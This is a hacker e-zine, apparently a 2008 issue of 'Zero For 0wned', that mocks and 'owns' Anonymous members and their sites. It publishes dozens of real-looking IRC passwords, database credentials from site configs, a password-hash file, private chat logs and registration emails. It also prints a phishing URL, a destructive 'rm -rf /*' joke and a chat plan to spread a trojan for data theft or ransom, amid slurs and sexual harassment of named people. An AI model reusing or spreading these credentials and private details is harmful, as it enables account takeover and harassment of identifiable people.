_/_/_/_/_/ 444444444 ~~~~~~ _/ _/_/ _/ _/_/ _/_/ 4;;;;;;;;4 Internet Superheroes ~ _/ _/_/_/_/ _/_/ _/ _/ 4;;;;;;;;;4 _/ _/ _/ _/ _/ 4;;;;44;;;;4 With great power_/_/_/_/_/ _/_/_/ _/ _/_/ 4;;;;4 4;;;;4 comes great responsibility. 4;;;;4 4;;;;4 .` .` .`.` 4;;;;4 4;;;;4 And great babes. -+;//. `;/;/- 4;;;;444444;;;;444 -++%+. `/+/+-` 4;;;;;;;;;;;;;;;;4 -o%/o; -++/+;` 4444444444;;;;;444 ______ __ .+0%+o- `/+;/+- 4;;;;4 | |.--.--.--.-----.-----.--| | /0%-oo;`` `+o;;o/` 4;;;;4 | -- || | | | | -__| _ | `+0/.+ossoo+/.`` ` `;//+++oo-.++- 444444 |______||________|__|__|_____|_____| -0%;`-/++ooooo+o/++oossso++/`.oo; -0%oossssssssssssssssyssssso+oss/ -- Table of 0wned -- -/0o/-/syyyyyyyyyyyyyyyo;;/oso/` ``;yhyyhhhydddddyyhhyhy/` ` 1. Anonymous -ohhs//dmy/ymmmmmy;omdo+yho-` 2. g00ns-symmho;` /Nm+.sNNNNmo.;mm+``;sddo//` 3. illmoboNNdo-` +Nd; ;NNNNh; .dNo` `-odNd; 4. Safety on the InternetoMm+` oNy- `sNNmo` `hNs. /mm/` 5. Robert Lemos /Nd; +Ns. -hds. `sNs. .dm/` 6. The Fed Jingle.md; +No` ..` `sNs. `dd/ 7. Comodo`om; ;ms. `yNo` .mh- 8. CF0 .do` .dy- `hd/ ;mo` 9. Blackcode ;y- `+m; .ms. `yy; 10. Trivia Security `/+` .ho` +h/ ;y/` 11. Pwnie Awards `-. ;d; .h+` ;;` 12. The Cult of the Dead Cow ` `;/` `oo. `` 13. Pwnee Awards S y m a n t e c - T h r e a t C o n --------------------------------------------- | Level 6: # rm -rf /* | | (//////////////////////////////////////6) | ---t h i s o n e g o e s u p t o s i x---^---At last the 2008 show! The torch-song no-one ever sings! The curfew chorus line! The comedy divine! The bulging eyes of puppets, strangled by their strings. There's thrills and chills and girls galore, there's sing-songs and surprises! There's something here for everyone, reserve your seat today!We're happy to be have you back. Do we ever have some treats! We have some sweetarticles. We rm'ed g00ns, we took a successful forray into Anonymous' world, weconquered and destroyed Blackcode, and, of course, we have the Cult of the Dead Cow owned and
exposed. We top those off with lots of fun little owns and articles. Kickup your feet and settle in, this is going to take all night.zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0 zf0zf0 Anonymous zf0zf0 zf0zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0 zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0zf0/************************************* We owned Anonymous. Although they sell you the idea that they cannot be owned* because they lack any structure, we owned anybody and anything involved that we * wanted to. They had a quote about being unable to kill a dragon with no head. We* just watch the dragon stumble around drunkenly and then we stab all its toes. ** We owned inky_'s main server, we owned partyvan.info, we owned a lot of people* and sites that were not worth including in this article. The anon scene is massive* and we owned whatever we wanted, and brought owns and lulz here for you. They get* a lot of press and talk a lot of shit (fucking annoying ED pages too), but all* they really are is the *chan community rebranded (currently) around the idea of* destroying the CoS. ^ban^ basically says that if you are a channer, you're anon,* and if you aren't, you aren't.** A lot of the top guys have no respect for the morons dedicated to their cause,* and don't mind abusing or misleading them (to which they so easily follow). They* don't mind money either, as we will demonstrate. Something stinks about this, it* reminds me of *something*, if only I could remember what...** The most talented people in Anonymous hack Scientology people. Think about that.* In the hacking world, that places them below the people who hacked * ethelsflowershop.com and above the people who DoS specialneeds.com.** We could be dropping your names, addresses, and email addresses, but you're kids,* we do have some mercy.** On with the show!************************************/// Hey it's that guy who tried to take over 4chan. Check out his IRC problems!Xyrix -> nickserv@anonymous.services: REGISTER 01110 x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER Xyrix A1B2C3 x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER Xyrix c0ncr3t3456 x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER Xyrix lolol x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER Xyrix maniclol x.yr.ix@hotmail.comXyrix -> nickserv@anonymous.services: REGISTER helpSpeaking of which, it looks like we got a fan after rming g00ns:From: X Y <xyrix@live.com>To: superheroes@hushmail.comDate: Thu, 08 May 2008 19:03:20 +0100This message is not encrypted, and is not digitally signed by .Hey, I was just wondering where you guys hung out normally. Irc or on silc?// Some select passes, starting with the [nig] bitches[nig]A_Non_E_Moose_ -> nickserv@anonymous.services: IDENTIFY qrrbrbirlbel[nig]Azure -> nickserv@anonymous.services: identify niceguyjin[nig]Azure -> nickserv@anonymous.services: identify nigguyjin[nig]Banhammer -> nickserv@anonymous.services: identify letmein[nig]CircleK -> nickserv: register bullpass1[nig]Dart27 -> nickserv@anonymous.services: register midnight3 insurgentdart27@gmail.com[nig]Dravas -> nickserv: identify x8i9j9w[nig]Kazimir -> nickserv: identify wood.lake[nig]Moose -> nickserv@anonymous.services: identify qrrbrbirlbel[nig]Picatta -> NickServ: IDENTIFY lolcats8295[nig]Skorski -> nickserv: identify internethate[nig]Spaise -> nickserv: identify 198956spaise[nig]Tycho -> NickServ: IDENTIFY auli711[nig]banhammer -> nickserv@anonymous.services: identify letmein[nig]brambi -> NickServ: IDENTIFY exodus[nig]codenaur -> nickserv: REGISTER bobbin codenaur@omfgawd.org[nig]kando -> nickserv: identify qwerty[nig]kando -> nickserv: identify qwertyui[nig]msgmcmuffin -> nickserv: identify haX0rm3plz[nig]neG -> nickserv: identify fucktits[nig]shamrock -> nickserv@anonymous.services: identify jimmy123[nig]spic -> nickserv: identify alphabette[nig]squid -> nickserv: identify w00tah// Some other passes of (mostly) relevant people in the anon sceneinky_ -> nickserv: identify jblinkAlyosha -> nickserv: identify CLEVERPASSWD1111RickRollington -> nickserv: identify muddymuddykipzRorschach -> nickserv@anonymous.services: IDENTIFY saltywalrusTycho -> NickServ: IDENTIFY auli711negroe -> nickserv: ghost TheShining jewslolnegroe -> nickserv: identify aspadmd1Kerx -> NickServ: identify hit13rFreeze` -> nickserv@anonymous.services: identify wtfuxsucksSpunkWang -> NickServ: IDENTIFY SpunkWang!trypta -> nickserv: identify moveonNihilanth -> nickserv: identify bper231aSkorski -> nickserv@anonymous.services: ghost Deltantor slowpokeMuhu -> nickserv@anonymous.services: IDENTIFY niggershit7Fail-chan -> nickserv@anonymous.services: identify cocks123Delacroix -> nickserv: id lulzy1f0rked -> nickserv@anonymous.services: id holyshit_meh_ -> NICKSERV: IDENTIFY iamrootinnocuous -> nickserv: identify thepassword.innocuous -> nickserv: identify thenickpassword.innocuous -> nickserv: identify thenickpass.Ms_Mister -> nickserv@anonymous.services: identify farkmantrapnest -> nickserv: identify aichii32DrMengele -> NickServ: identify mofo47bittwist -> nickserv@anonymous.services: identify sun42Spaise -> nickserv: identify 1898956spaisenfinity0 -> NickServ: identify bluemonkey66infinity0 -> NickServ: register Ivy saturation6666 infinity0x@gmail.comCobrian -> Nickserv: identify Amiga32cheezmasta_ -> nickserv@anonymous.services: IDENTIFY iamthecheese101denvetta -> NickServ: IDENTIFY madman01codenaur -> nickserv: IDENTIFY thaergaergcodenaur -> nickserv: identify bobbincodenaur -> nickserv: identify ilovecock // We can't make this shit upRickRollington -> chanserv: identify #insurgency h875n8w45h89/*** Let's start it off with #el/i/tes* */^ban^ -> #el/i/tes: We are True Anonymous.// And we are watching.// ^ban^ is one of the big names in anonymous.. "old anon".. check out hisbrilliant ideas!^ban^ -> #el/i/tes: well, a suggestion for a board name^ban^ -> #el/i/tes: I don't suggest we model after said board though^ban^ -> #el/i/tes: http://4-ch.net/dqn/^ban^ -> #el/i/tes: The Elitist Superstructure of DQN^ban^ -> #el/i/tes: (The Elitist Superstructure of TPN you might recognize,Nihilanth)// ^ban^ had his docs dropped already, big drama// And we finally know what old anon care about - moneyKerx -> #el/i/tes: So we're not gonna sit on asses and have yet another personrun our wiki and have him profit of usKerx -> #el/i/tes: time once and for all to buy own server and do our shit onit and rent out space to make teh moneyFreeze` -> #el/i/tes: and how would that workFreeze` -> #el/i/tes: I'm all eyes hereKerx -> #el/i/tes: just how the guy running anonhost is doing hisKerx -> #el/i/tes: and we've got an easy way to secure money with the xenuraidsKerx -> #el/i/tes: make sure we have some true reps for the wiki go out andcollect in person also on next raid// More moneyKerx -> #el/i/tes: ^ban^ we already has a way to get a ton of dough// More moneyPicatta -> #el/i/tes: and we're putting a couple ads on it// More moneyPicatta -> #el/i/tes: We could do a proxy list and put ads on it// They are masters of technology and contemporary security issuesTheShining -> #el/i/tes: but we can't tell anyoneTheShining -> #el/i/tes: outside of this roomTheShining -> #el/i/tes: i was thinking about us getting a trojanTheShining -> #el/i/tes: but modifying itTheShining -> #el/i/tes: completelyTheShining -> #el/i/tes: until everything is changed to that virus scannerswont pick it upTheShining -> #el/i/tes: and distribute it to as many computers as possibleTheShining -> #el/i/tes: and take as much personal information as possibleTheShining -> #el/i/tes: and or hold the computers for ransomFreeze` -> #el/i/tes: hmmFreeze` -> #el/i/tes: if you could really do thatFreeze` -> #el/i/tes: I'd help outTheShining -> #el/i/tes: the hardest part is to re-do the code on the trojanTheShining -> #el/i/tes: and we'd also have to keep this secret until we had atleast 10,000 zombies// omg anonymous revealed031811:fuckingfruit -> #el/i/tes: he's waiting for kakama (the leader ofanonymous) to decide if to delete a wiki page or not// Kakama's site and yahoo phish page: http://login.yahoo.890m.com/yahoo.html// The illustrious ^ban^
explains that anon aren't hackers, they're channers,and if you're not a channer, you're not anonclorox -> ^ban^: you have alot of enemies...i am one of themclorox -> ^ban^: you were a faggot when we first came here to me^ban^ -> clorox: there's a pretty simple
explanation for that, you know^ban^ -> clorox: I was here when partyvan was founded, and didn't like the ideaof it abandoning the entire idea for it's founding :|^ban^ -> clorox: The original idea was to have a network for anon, by anon, andonly anonclorox -> ^ban^: what makes you anon^ban^ -> clorox: but things didn't happen that way^ban^ -> clorox: by anon I mean anyone from the *chan culture// IF YOU WANT TO BE ANON CLOROX YOU HAVE TO BE MORE CHAN/*** Who wants to read the private chats of 711staff?**/// I beg to differjewlion -> #711staff: this is your only warningjewlion -> #711staff: what happens in herejewlion -> #711staff: stays in here// Egololihaetfire -> #711staff: Actually, christ, who are our other admins?inky_ -> #711staff: ^Bi am the other adminlolihaetfire -> #711staff: dankeinky_ -> #711staff: why the hell does nobody acknowledge meinky_ -> #711staff: they're always like 'jewlion this' 'jewlion that'inky_ -> #711staff: if it wasn't for me this site wouldn't even exist// And ranksyense -> #711staff: we sure will miss jewlion though.Kakama -> #711staff: WHATKakama -> #711staff: HUH?Kakama -> #711staff: JEWLION GO WHERE?syense -> #711staff: he has stepped down.syense -> #711staff: hes getting marriedaDaftWally -> #711staff: I assumed inky_ would take oversyense -> #711staff: well he will[nig]Dravas -> #711staff: lolsyense -> #711staff: hell be primary, with necro as second, and me as thirdDaftWally -> #711staff: can I be 4th? :3[nig]Dravas -> #711staff: can i be 5th :3syense -> #711staff: daftwally will probably be 4th// And more rankjewlion -> #711staff: if the site goes downjewlion -> #711staff: you'll have to be the one to take care of shitjewlion -> #711staff: Necrobilly and MisterCow are the only one's I'd trustwith the site rite nao :|jewlion -> #711staff: but MisterCow isn't here// They're all about the money, tooUnknownUser -> #711staff: I have a great ideaUnknownUser -> #711staff: we could sell account levelsUnknownUser -> #711staff: like say a platnum acount gets you unlimited accessto all pictures[nig]ItsNotLupus -> #711staff: syense: watUnknownUser -> #711staff: where as a normal account you can only look at 5 picsin a min// Money can buy you statusjewlion -> #711staff: I gave admin to those who donatedjewlion -> #711staff: and have been mods foreverDart27 -> #711staff: I was an accident. My mom said, "the ONE time me and yourfather had sex I got pregnant"Dart27 -> #711staff: Anyways, I've only made one thing in PHP.Dart27 -> #711staff: But it is cool.Tycho -> #711staff: why are you so hard over her anonyanony -> #711staff: because i want my cock in her ass this summerTycho -> #711staff: be sure to get vidsanony -> #711staff: lewlNotDaftWally -> #711staff: yeahanony -> #711staff: i copy+pasted that to her :3anony -> #711staff: on msnTycho -> #711staff: i fucking hate you anonyanony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you (7802934048) says:anony -> #711staff: LOLOLOLOLOLOLOLOLOLanony -> #711staff: Phill says:anony -> #711staff: we're so having buttsex.anony -> #711staff: KStrebchuk. Hey Shyra: Yes there is need to miss you (7802934048) says:anony -> #711staff: No anal. Last time I tried anal I cried.lulzwhut -> #711staff: solulzwhut -> #711staff: syense is like actually dead[nig]jewlion -> #711staff: yeahECB -> #711staff: wut happened[nig]jewlion -> #711staff: fluid leak[nig]jewlion -> #711staff: in his car[nig]jewlion -> #711staff: dunno watECB -> #711staff: so i get his o:line?!?![nig]jewlion -> #711staff: but it caused him to hit a semiTycho -> #711staff: <Necrobilly> I shoulda backed everything upTycho -> #711staff: WHEN YOURE POUNDING A GIRL FROM BEHINDTycho -> #711staff: AND HER BACK ARCHESTycho -> #711staff: THAT IS FUCKING HOTHowler -> #711staff: guys can do that too// 711staff paypal. Word to the wise: disable itDravas -> #711staff: dravas@loliheaven.net inky_ -> #711staff: apu and aero are what host 711anony -> #711staff: it felt like i stole keri from youanony -> #711staff: so I stopped talking to herandy -> #711staff: uhandy -> #711staff: lost stole herandy -> #711staff: from all of you/*** There's this "blackops" group that tried to be something, but they justgenerate humour**/MDK -> #blackops: yeh we need a pw thats easy to rememberSpaise -> #blackops: umm what aboutSpaise -> #blackops: opsareblackSpaise -> #blackops: anything else we neeD?Spaise -> #blackops: ummmSpaise -> #blackops: flood protectionMDK -> #blackops: how do you change the topic with this script?carbonlesz -> #blackops: ... Damnit, MDK. Stop capitalizing random letters ofwords in passwords.// He means the IRC channel modeSpaise -> #blackops: hmm cant have private set if its secretSpaise -> #blackops: grrcarbonlesz -> #blackops: I should probably use a proxy./*** The guys running the wiki are incompetent* */f0rked -> #wiki: oh, I thought it was ddosed or somethingdenvetta -> #wiki: picatta's away somewheredenvetta -> #wiki: Well.. that's possible... but picatta assures me that theserver is ddos proofinfinity0 -> #wiki: WedTM: NO. nothing was hackedinfinity0 -> #wiki: it was just an
exploit in the mediawiki softwarePicatta -> #wiki: OH ASHI-Picatta -> #wiki: DHITPicatta -> #wiki: /var is fullApon71 -> #wiki: Big problems with nameserver?Picatta -> #wiki: yesApon71 -> #wiki: Ok, I trust you guys will fix it as alwaysApon71 -> #wiki: I've been away for a week, and am trying to catch up on what'shappeningPicatta -> #wiki: I can't really do shit until wedtm gets backApon71 -> #wiki: Either the wiki got hackedApon71 -> #wiki: Or one of you is trying to scare away newfagsIvy -> #wiki: Apon71: yeah it's someone trying to scare away newfags, i'mguessing Kakama, sighjanuszeal -> #wiki: why is the wiki downjanuszeal -> #wiki: in before, after, and during slowpokePicatta -> #wiki: wella-n-o-n -> #wiki: wtf...a-n-o-n -> #wiki: wiki down?Kakama -> #wiki: ATTENTION SHOPPERSinfinity0 -> #wiki: Picatta: wiki down again... we should split up the SQLserver vs. the webserver againdenvetta -> #wiki: wiki downdenvetta -> #wiki: can someone add it to /topi?// They actually had the most successful individual security strategy we came// across - the wiki was down for the majority of the time we had it owned. // Made it a big pain in the ass and mostly we didn't bother./*** #anti includes people behind ED. We were hoping oclet would be passing
0day* around, but the only thing he has or passes is drugs. He's mostly a failure * at this hacker thing but wins at lulz.**/Talldog -> #anti: Having seen a woman be fucked by a horse, my pants feelstrangely emptyhep -> #anti: i saw women getting fucked by horses when i was still bbsingoclet -> #anti: ive seen .millions of girls getting fucked by horses just onaccidentsabotage -> #anti: i miss tacossabotage -> #anti: i banged tacos like 10 times tooShortcat -> #anti: what happenoclet -> #anti: me2sabotage -> #anti: i think she was on top and i started to cumoclet -> #anti: lets gang bang her sabotage -> #anti: and i threw her offoclet -> #anti: i searched facebook with my last nameoclet -> #anti: theres a lotof bitches i might be related to who are banginhep -> #anti: i am a one dick kind of girlhep -> #anti: having a vagina does not entitle you to autorespect// Just imagine more of the above, that's 100% of their conversations/*** And basically everyone else in the community is a joker. Here are some random* quotes**/paraphren -> _Shinigami_: Think she's hot?http://photos-c.ak.facebook.com/photos-ak-sf2p/v195/7/84/788288923/n788288923_351134_2156.jpg_Shinigami_ -> paraphren: fuck yesparaphren -> _Shinigami_: She's 18. Want a chance to fuck her? _Shinigami_ -> paraphren: yes plsparaphren -> _Shinigami_: heh_Shinigami_ -> paraphren: lolparaphren -> _Shinigami_: Well, first thing... don't mention any of this toANYBODY._Shinigami_ -> paraphren: kparaphren -> _Shinigami_: I will quite literally have to kill you. heh_Shinigami_ -> paraphren: lol kparaphren -> _Shinigami_: Secondly... I have to talk her into it. She's comingto Toronto to fuck me and wants to film it and shit, but I can let you have ago at her if you want. hehparaphren -> _Shinigami_: Anyway, she's a dirty girl and I'll probably be inthe room too. So hope you're up for it. :p_Shinigami_ -> paraphren: lol, sounds fine to me_Shinigami_ -> paraphren: i can be the videographer if you want paraphren -> _Shinigami_: Seriously though... very important you tell NOBODY.haha CuNt -> Eric: w/e dude i do have a life other than computersCuNt -> Eric: and i guarentee its a shit load better than yoursEric -> CuNt: *rollseyes*Eric -> CuNt: sureeeee buddyCuNt -> Eric: sureeee buddyEric -> CuNt: I make more in a week then u do in a yearCuNt -> Eric: what do u make then dudeEric -> CuNt: I bang more chicks in a month that u ever willd0ct0r -> Eric: how did you join a haxs' group.Eric -> d0ct0r: obviously I knew me shitEric -> d0ct0r: perl, vb, c, the basicsAgent_Riding -> #Philadelphia: so gnome is like the
explorer.exe of ubuntuTurbUlated -> anon080: <- sortofwantanon080 -> TurbUlated: oh.anon080 -> TurbUlated: your secret is safemattheas -> #fallout: How do I add peoplemattheas -> #fallout: what's the commandanon64 -> #fallout: /invitesrgrnr -> #fallout: i want to go back to high schoolsrgrnr -> #fallout: where i had friends.anon64 -> #fallout: high school was gaysrgrnr -> #fallout: i had friends, dude.srgrnr -> #fallout: HOW THE FUCKsrgrnr -> #fallout: DO I UNIGNORE SOMEONEsrgrnr -> #fallout: ON IRCPhist -> #illmob: Spyd3r: jewlion is one of the top submitters on darknetPhist -> #illmob: 16 year old anon- turned compsec ethic
expertEugene -> HetGezicht: I don't have skills for ddosskinless -> Consumerwhore: feel like giving me a short
explanation of how toget into a site?skinless -> Consumerwhore: i have php python and perlkayla -> codenaur:http://www.google.co.uk/search?hl=en&client=firefox-a&channel=s&rls=org.mozilla%3Aen-GB%3Aofficial&hs=BBT&q=warning%3A+incompatible+implicit+declaration+of+built-in+function+memcpy&btnG=Search&meta=kayla -> codenaur: memcpy is a functioncodenaur -> kayla: ahcodenaur -> kayla: :Dcodenaur -> kayla: Thanks <3// Shit this isn't very anonymousbarbanon -> #socal: Gregg Hagglund up in Canada has been tagged as the leaderthereQED|Pi -> Machine-Gunner: I'll just say they're for Stephen.AMachine-Gunner -> QED|Pi: oh fuckMachine-Gunner -> QED|Pi: :PQED|Pi -> Machine-Gunner: Nice..Machine-Gunner -> QED|Pi: FuuuuuckMachine-Gunner -> QED|Pi: How did you knowQED|Pi -> Machine-Gunner: it's your identQED|Pi -> Machine-Gunner: Stephen.A.@desu-C67BC7B.carleton.ca// We owned this. It's between "Not worth mentioning" and "Not worth its own// section", so we drop it heredefine(SQLHOST, 'lulzhost.net');//MySQL server address, usuallylocalhostdefine(SQLUSER, 'img'); //MySQL user (must be changed)define(SQLPASS, '3ecaa923-4c0e-4526-9f44-c8a437d88bb5'); //MySQLuser's password (must be changed)define(SQLDB, 'img');//Database used by image boarddefine(ADMIN_PASS, 'fgt');//Janitor password (CHANGE THIS YO)// BANG ON - Give this guy a medal and put him in charge (except he's not dumb// enough to accept responsibility for this crap shoot)Orakio -> #programming: Anonymous = mostly idiots.Orakio -> #programming: Don't work directly with them.Orakio -> #programming: It's better to linger on the edges, find a goodsubgroup.Orakio -> #programming: I mean I hate scientology and I don't need to be insome group called anonymous to
express that hate.Orakio -> #programming: Especially when they can't even renew their domainnames.Orakio -> #programming: It's a liability to be too closely intergrated.// He has a 30-character nickserv password. No joke.GaiaKB -> #privateprivategaia: ServicesUp|Sun Mar 30 04:05:51 EDT 2008|~! DoNOT talk about #privateprivategaiaGaiaKB -> #privateprivategaia: Something|Sun Mar 30 04:09:59 EDT 2008|~!Everything discussed here, stays here// ZF0 has magic powers that can read your conversations even (yes, even!!) if// you're using SSL!ian -> #spk: i pasted that in spkian -> #spk: he cant know thatian -> #spk: i use ssl/*** Picatta's spools took up a lot of space, so here's just some mails clean and* clear **//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Dear Hitlerlol,Thank you for registering at the Megadeth Forums. Before we can activate youraccount one last step must be taken to complete your registration.Please note - you must complete this last step to become a registered member.You will only need to visit this url once to activate your account.To complete your registration, please visit this url: http://forums.megadeth.com/register.php?a=act&u=69022&i=27200622 <ahref="http://forums.megadeth.com/register.php?a=act&u=69022&i=27200622">America Online Users Please Visit Here to be Activated</a>**** Does The Above URL Not Work? **** If the above url does not work, please use your Web browser to go to:http://forums.megadeth.com/register.php?a=ver Please be sure not to add extra spaces. You will need to type in your usernameand activation number on the page that appears when you visit the url. Your Username is: HitlerlolYour Activation ID is: 27200622If you are still having problems signing up please contact a member of oursupport staff at webmaster@megadeth.comAll the best,Megadeth Forums/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Hi,You have requested to register the following nickname Picatta.Please type " /msg NickServ confirm u95oIIpO3 " to complete registration.If you don't know why this mail was sent to you, please ignore it silently.PLEASE DON'T ANSWER TO THIS MAIL!Rizon administrators./*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Dear Picatta,Thank you for registering at Bodybuilding.com. Before we can activateyour account one last step must be taken to complete yourregistration.Please note - you must complete this last step to become a registeredmember. You will only need to visit this url once to activate youraccount.To complete your registration, please visit this url:http://my.bodybuilding.com/register.php?a=3Dact&u=3D13453212&i=3D72598583<ahref="http://partyvan.info/serialized/3D%22http://my.bodybuilding.com/register.php?a=3Dact&u=3D13453212&i=3D=" 72598583="">AmericaOnline Users Please Visit Here to be Activated</a>**** Does The Above URL Not Work? ****If the above url does not work, please use your Web browser to go to:http://my.bodybuilding.com/register.php?a=3DverPlease be sure to type it exactly as it appears. You will need to typein your Username and Activation ID on the page that appears when youvisit the url.Your Username is: PicattaYour Activation ID is: 72598583If you are still having problems signing up please contact a member ofour support staff at support@bodybuilding.com.All the best,Bodybuilding.com/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Welcome to forum.i2p ForumsPlease keep this email for your records. Your account information is asfollows:----------------------------Username: PicattaPassword: lolcats8295----------------------------Please do not forget your password as it has been encrypted in our database andwe cannot retrieve it for you. However, should you forget your password you canrequest a new one which will be activated in the same way as this account.Thank you for registering./*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Welcome to Operation Clambake Message Board ForumsPlease keep this email for your records. Your account information is asfollows:----------------------------Username: PicattaPassword: loldongs----------------------------Your account is currently inactive, the administrator of the board will need toactivate it before you can log in. You will receive another email when this hasoccured.Please do not forget your password as it has been encrypted in our database andwe cannot retrieve it for you. However, should you forget your password you canrequest a new one which will be activated in the same way as this account.Thank you for registering./*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/Welcome to Enturbulation.org ForumsPlease keep this email for your records. Your account information is as f=ollows:----------------------------Username: PicattaPassword: 86500144----------------------------Your account is currently inactive. You cannot use it until you visit the= following link:/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*//*** Now let's get to the box pwning. This is inky's server that hosts a handfulof their shitty sites**/drwxr-xr-x 4 root wheel 512 Feb 14 03:05 bbs.711chan.orgdrwxr-xr-x 4 root wheel 512 Feb 6 07:03 invalid.sitedrwxr-xr-x 4 httpd httpd 512 Jan 26 09:24 lt3c.infodrwxr-xr-x 4 root wheel 512 Feb 1 15:41 maps.lt3c.infodrwxr-xr-x 4 root wheel 512 Feb 19 01:42 no-tolerance.infodrwxr-xr-x 4 root wheel 512 Feb 7 06:53 partyvanradio.orgdrwxr-xr-x 4 root wheel 512 Mar 7 15:13 untitledhosting.orgdrwxr-xr-x 4 root wheel 512 Feb 19 19:15 virtual.psychomatic.usdrwxr-xr-x 4 root wheel 512 Mar 11 04:13 vzpp.untitledhosting.orglrwxr-xr-x 1 root wheel 10 Jan 26 09:24 www.lt3c.info -> lt3c.info/lrwxr-xr-x 1 root wheel 18 Feb 19 01:43 www.no-tolerance.info ->no-tolerance.info/lrwxr-xr-x 1 root wheel 18 Feb 7 06:53 www.partyvanradio.org ->partyvanradio.org/lrwxr-xr-x 1 root wheel 20 Mar 7 15:13 www.untitledhosting.org ->untitledhosting.org/$config['db_username'] = 'untitledhosting';$config['db_password'] = '0DTtITKJ.yBD';$dbhost = 'localhost';$dbport = '3306';$dbname = 'lt3c_phpbb';$dbuser = 'root';$dbpasswd = 'jblink';// ^ that's the root pw too! And his nickserv pass! We rooted the box too fast// to even have to look up his nickserv pass$db_server = 'localhost';$db_name = 'nt-server';$db_user = 'nt-server';$db_passwd = 'nm2KHZaWzwZbWrxT';$db_prefix = 'smf_';$config['dbms'] = 'mysql';$config['db_hostname'] = 'localhost';$config['db_username'] = 'untitledhosting';$config['db_password'] = '0DTtITKJ.yBD';$config['db_name'] = 'untitledhosting';d><title>hacked by [seven11]</title></head><body bgcolor="black"><div align="center" style="color:#FFFFFF"><h1>Hacked by <fontcolor="red">[seven11]inky</font>, [PURGE] are a load of faggots</h1><br></div></body></html>// ^ haha# shoutcastPassword=imadjAdminPassword=partyvanorg# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks
Exp $#root:$1$40oTVDjS$IXT5EmlwEhu84acMjAZ/J/:0:0::0:0:Root User:/root:/usr/bin/bashtoor:*:0:0::0:0:Bourne-again Superuser:/root:daemon:*:1:1::0:0:Owner of many system processes:/root:/usr/sbin/nologinoperator:*:2:5::0:0:System &:/:/usr/sbin/nologinbin:*:3:7::0:0:Binaries Commands and Source:/:/usr/sbin/nologintty:*:4:65533::0:0:Tty Sandbox:/:/usr/sbin/nologinkmem:*:5:65533::0:0:KMem Sandbox:/:/usr/sbin/nologingames:*:7:13::0:0:Games pseudo-user:/usr/games:/usr/sbin/nologinnews:*:8:8::0:0:News Subsystem:/:/usr/sbin/nologinman:*:9:9::0:0:Mister Man Pages:/usr/share/man:/usr/sbin/nologinsshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/usr/sbin/nologinsmmsp:*:25:25::0:0:Sendmail SubmissionUser:/var/spool/clientmqueue:/usr/sbin/nologinmailnull:*:26:26::0:0:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologinbind:*:53:53::0:0:Bind Sandbox:/:/usr/sbin/nologinproxy:*:62:62::0:0:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin_pflogd:*:64:64::0:0:pflogd privsep user:/var/empty:/usr/sbin/nologin_dhcp:*:65:65::0:0:dhcp programs:/var/empty:/usr/sbin/nologinuucp:*:66:66::0:0:UUCPpseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucicopop:*:68:6::0:0:Post Office Owner:/nonexistent:/usr/sbin/nologinwww:*:80:80::0:0:World Wide Web Owner:/nonexistent:/usr/sbin/nologinnobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/usr/sbin/nologinltsvadmin:$1$2fVGuwaC$7B57fBkwiTg9W1S5VKD5u1:1001:1001::0:0:User&:/home/ltsvadmin:/bin/shzipservers:$1$A.lwsVBx$CmzJM6Wt3RX6jOvByFKSv0:1002:0::0:0:User&:/home/zipservers:/bin/shinaki:*:1003:1003::0:0:Inaki:/home/inaki:/usr/local/bin/bashtremulous:*:1006:1006::0:0:User &:/home/tremulous:/usr/local/bin/bashtrem-maps:*:1008:1008::0:0:User &:/home/trem-maps:/bin/shms-clanserver:$1$KkKxsoei$936d9IWKWrptqxTRqCcKw.:1009:1009::0:0:User&:/home/ms-clanserver:/usr/local/bin/bashmysql::88:88::0:0:MySQL Daemon:/nonexistent:/usr/local/bin/bashhttpd::1015:1015::0:0:User &:/home/httpd:/usr/local/bin/bashmjestic::1017:1017::0:0:User 